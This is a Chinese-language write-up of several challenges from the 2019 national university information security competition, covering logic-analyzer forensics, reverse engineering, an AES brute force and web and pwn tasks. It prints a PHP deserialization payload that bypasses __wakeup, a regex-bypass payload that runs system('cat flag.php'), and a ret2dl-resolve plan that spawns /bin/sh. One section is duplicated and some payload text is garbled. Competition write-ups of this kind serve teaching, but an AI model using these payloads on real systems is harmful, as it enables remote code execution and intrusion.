2019第十二屆全國大學生信息安全競賽部分WriteUp

0x00 簽到題

操作內容:
下載鏈接,解壓並運行軟件,對準兩個聚焦圓圈,控制檯回車輸出 flag

0x01 SALEAE

操作內容:
打開發現是.logicdata(邏輯分析儀數據文件),使用 Logic 軟件打開,根據時鐘頻率以及通
訊方式擦側是屬於 SPI 通訊,解析得到 flag
在這裏插入圖片描述
flag 豎着讀
在這裏插入圖片描述

0x02 24c

操作內容:
同上題方式,打開,發現又是 IIC 協議,解析發現結果

在這裏插入圖片描述
將結果導出爲文本格式

在這裏插入圖片描述
嘗試拼接發現有問題,然後想到題目名是 24c,想到 IIC 的 EEPROM 存儲芯片 24c02,又聯
想到是 IIC 協議,想起 IIC 操作 24c02 的時候要先發送開始操作的地址,以及 NAK 這個停
止符(想到可能是要修改內容二中斷接收)。於是想到\t 不是字符,其對應的 ASCII 是 9,也
就是從第 9 號位‘9’開始將”9e”替換爲 ac,與之前的部分進行拼接然後得到結果。

0x03 easyG0

操作內容:
下載鏈接,經分析,需要輸入一些字符串,所以打開 ida
地址 0x495168
搜索 please,然後交叉引用返回到

在這裏插入圖片描述
,然後用 gdb 在 0x495168 處下斷點,單步調試,直到讓輸入一些字符串,這個地方隨便輸,
就行,然後一直單步執行,會到兩個字符串比較的地方,這時可以在棧空間看見 flag,如下:

在這裏插入圖片描述

0x04 JustSoso

操作內容:
在網頁源代碼中發現提示
在這裏插入圖片描述php 任意文件包含,下面是 base64 轉文本的結果
index.php

<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

hint.php

<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>

我們使用 ///,可以繞過 url = parse_url(SERVER[REQUESTURI]);parsestr(_SERVER[&#x27;REQUEST_URI&#x27;]); parse_str(url[‘query’],$query);
然後 使用%00 繞過 wakeup;
最後使用=& 鏈接 指向同一地址 使得 token = token_flag 即可。

使用 payload:
http://cca41b4bf4704d57b697729ee8950f4c509984bceeb5401c.changame.ichu
nqiu.com///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:%
22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.
php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}

在這裏插入圖片描述

0x05 puzzles

操作內容:

Question0 解四元一次方程:

在這裏插入圖片描述Question1 根據規律可以知道 part1 爲 26365399
Question2 求極限函數可知 part2 爲 7700
Question3 根據感應電動勢計算公式可知 part3 爲 18640
Question4 計算立體圖形體積,三重積分可得 part4 爲 40320

在這裏插入圖片描述將所得數字進行十六進制轉換,得到 flag

0x06 usbasp

操作內容:
下載鏈接,將文件拖進邏輯分析儀中,並設置相關參數,如圖:

在這裏插入圖片描述拉到最後就可以看到 flag 了,flag 豎着讀

在這裏插入圖片描述

0x07 warmup

操作內容:
下載鏈接,分析代碼文件,確定是 AES 題目。通過分析,可以聯想到 DDCTF 中 AES ECB 加
解密還原(安全通信)類似於本題目,唯一的區別就是 ECB 換成了另外的 CRT,解題的思
路和關鍵點在可控密鑰長度,這裏選擇逐位爆破 flag,經過測試可以知道逐位爆破 flag,
每次 16 位,重複 3 位即可;
(類似 AES ECB 題目鏈接:https://www.cnblogs.com/kagari/p/8889412.html)
根據分析擼出腳本,如圖:

在這裏插入圖片描述在這裏插入圖片描述

0x08 love_math

操作內容:
查看源代碼發現 ajax 連接一個 calc.php 文件,訪問這個文件

在這裏插入圖片描述
訪問之後,給出源代碼
在這裏插入圖片描述發現需要繞過兩處正則,經過半天的測試,發現可以通過這種方法繞過正則列目錄exp=baseconvert;exp=base_convert;sin=exp(1751504350,10,36);exp(1751504350,10,36);tan=exp(784,10,36);exp(784,10,36);sin($tan);

在這裏插入圖片描述然後就是想盡辦法讀取 flag.php 的內容,一開始是覺得在這個地方想辦法繞過特殊字符,
繞過空格使用 cat 讀取文件,到下午之後發現其他的利用方式
base_convert 可以進行進制轉化並且在白名單中 37907361743-hex2bin
dechex 可以將十進制轉十六進制,1598506324-5f474554
後面就是按照正則繞就 OK 了。
payload:/calc.php?c=pi=baseconvert(37907361743,10,36)(dechex(1598506324));(pi=base_convert(37907361743,10,36)(dechex(1598506324)); (pi)1((pi){1}(($pi){2})&1=system&2=cat%20flag.php

在這裏插入圖片描述flag 在網頁源代碼中,

在這裏插入圖片描述進制轉換可以通過這個網站在線轉換: https://tool.lu/hexconvert/

0x09 bbvvmm

操作內容:
下載鏈接,解壓文件,直接拖進 UE,發現用戶名和密碼,如圖所示:
在這裏插入圖片描述初看感覺應該是正常的 base64,但是在線解密後,發現不對,測試一下,感覺應該是畸形
base64 解碼,如下圖:

在這裏插入圖片描述在這裏插入圖片描述可以知道用戶名經過了 rsm 加密,然後是 base64 解碼,

在這裏插入圖片描述在這裏插入圖片描述
最後可以得到用戶名爲:badrer12
此時密碼還沒有得到,lda 進行反編譯一下,單流程有幾百個,ida 遠程進行動態調試,在
要輸入的數據上下斷點,然後查看內存,發現

在這裏插入圖片描述密碼得到爲:xyz{|};
輸入用戶名和密碼,使用 pwntools,運行腳本,

在這裏插入圖片描述得到 flag

0x10 baby_pwn

操作內容:
下載鏈接,解壓文件,放入 ida,分析一波
在這裏插入圖片描述
如下圖可以發現,除了明顯的棧溢出,沒有可以用來 leak 內存佈局,bypass
aslr 的函數,

在這裏插入圖片描述反編譯 read,可以看出有很明顯的棧溢出漏洞,但是隻有一個
read,沒有可以用來 leak 的函數,所以利用 ret2dl 的解法
關鍵思路是通過棧溢出來調用 read 函數在 bss 段寫我們需要的結構
和/bin/sh,然後使用 dl_resolve_call 去調用 system,得到 shell
腳本編寫,如下圖:

在這裏插入圖片描述反編譯 read,可以看出有很明顯的棧溢出漏洞,但是隻有一個
read,沒有可以用來 leak 的函數,所以利用 ret2dl 的解法
關鍵思路是通過棧溢出來調用 read 函數在 bss 段寫我們需要的結構
和/bin/sh,然後使用 dl_resolve_call 去調用 system,得到 shell
腳本編寫,如下圖:

在這裏插入圖片描述
利用 roputils 工具來實現 ret2dl(在 python 中算模塊)
直接在 github 上下載 roputils 包:
https://codeload.github.com/inaz2/roputils/zip/master
運行腳本,得到 flag

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章